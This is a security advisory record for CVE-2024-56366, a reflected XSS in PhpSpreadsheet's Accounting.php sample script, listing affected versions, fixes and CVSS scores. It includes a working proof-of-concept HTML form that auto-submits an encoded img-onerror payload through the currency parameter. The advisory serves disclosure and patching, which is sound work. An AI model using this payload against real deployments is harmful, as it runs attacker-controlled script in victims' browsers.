{"id":"GHSA-c6fv-7vh8-2rhr","aliases":["CVE-2024-56366"],"title":"PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file","description":"# Unauthorized Reflected XSS in the `Accounting.php` file\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` script, an attacker can perform a XSS-type attack\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the currency variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Accounting.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file, which leads to the possibility of a XSS attack.\nStrings are formed using the currency parameter without sanitization, which is controlled by the attacker.\n\n![fig7](https://github.com/user-attachments/assets/da0ee52d-2306-4770-a61d-bce4ba553f4f)\n\n*Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n<html>\n  <!-- CSRF PoC - generated by Burp Suite Professional -->\n  <body>\n    <form action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php\" method=\"POST\">\n      <input type=\"hidden\" name=\"number\" value=\"1234&#46;5678\" />\n      <input type=\"hidden\" name=\"currency\" value=\"&#36;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;\" />\n      <input type=\"hidden\" name=\"decimals\" value=\"2\" />\n      <input type=\"hidden\" name=\"position\" value=\"1\" />\n      <input type=\"hidden\" name=\"spacing\" value=\"0\" />\n      <input type=\"hidden\" name=\"submit\" value=\"Display&#32;Mask\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n    <script>\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    </script>\n  </body>\n</html>\n```\n\nAfter sending the script provided in Listing 4, the XSS vulnerability is exploited. Figure 8 shows the execution of arbitrary JavaScript code during the submission of a POST form.\n\n<img width=\"460\" alt=\"fig8\" src=\"https://github.com/user-attachments/assets/b009256e-61f7-4d72-8f6a-cc6e0efe2bb1\" />\n\n*Figure 8. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","severity":"high","score":7.1,"published":"2025-01-03T17:06:23.000Z","modified":"2025-03-06T18:37:10.209Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","ranges":[{"events":[{"introduced":"3.0.0"},{"fixed":"3.7.0"}],"type":"ECOSYSTEM"}],"versions":["3.3.0","3.4.0","3.5.0","3.6.0"],"fixed":["3.7.0"]},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","ranges":[{"events":[{"introduced":"0"},{"fixed":"1.29.7"}],"type":"ECOSYSTEM"}],"versions":["1.0.0","1.0.0-beta","1.0.0-beta2","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.15.0","1.16.0","1.17.0","1.17.1","1.18.0","1.19.0","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.23.0","1.24.0","1.24.1","1.25.0","1.25.1","1.25.2","1.26.0","1.27.0","1.27.1","1.28.0","1.29.0","1.29.1","1.29.2","1.29.4","1.29.5","1.29.6","1.3.0","1.3.1","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0"],"fixed":["1.29.7"]},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","ranges":[{"events":[{"introduced":"2.0.0"},{"fixed":"2.1.6"}],"type":"ECOSYSTEM"}],"versions":["2.0.0","2.1.0","2.1.1","2.1.3","2.1.4","2.1.5"],"fixed":["2.1.6"]},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","ranges":[{"events":[{"introduced":"2.2.0"},{"fixed":"2.3.5"}],"type":"ECOSYSTEM"}],"versions":["2.2.0","2.2.1","2.2.2","2.3.0","2.3.2","2.3.3","2.3.4"],"fixed":["2.3.5"]},{"ecosystem":"Packagist","name":"phpoffice/phpexcel","ranges":[{"events":[{"introduced":"0"},{"last_affected":"1.8.2"}],"type":"ECOSYSTEM"}],"versions":["1.7.9","1.7.9-rc1","1.8.0","1.8.0rc1","1.8.0rc2","1.8.0rc3","1.8.0rc4","1.8.1","1.8.2"],"fixed":[]}],"references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-c6fv-7vh8-2rhr","https://nvd.nist.gov/vuln/detail/CVE-2024-56366","https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4","https://github.com/PHPOffice/PhpSpreadsheet"],"sources":[{"name":"OSV","id":"GHSA-c6fv-7vh8-2rhr","modified":"2025-03-06T18:37:10.209003Z","url":"https://osv.dev/vulnerability/GHSA-c6fv-7vh8-2rhr"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N","score":7.1},{"source":"OSV","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L","score":8.3}]}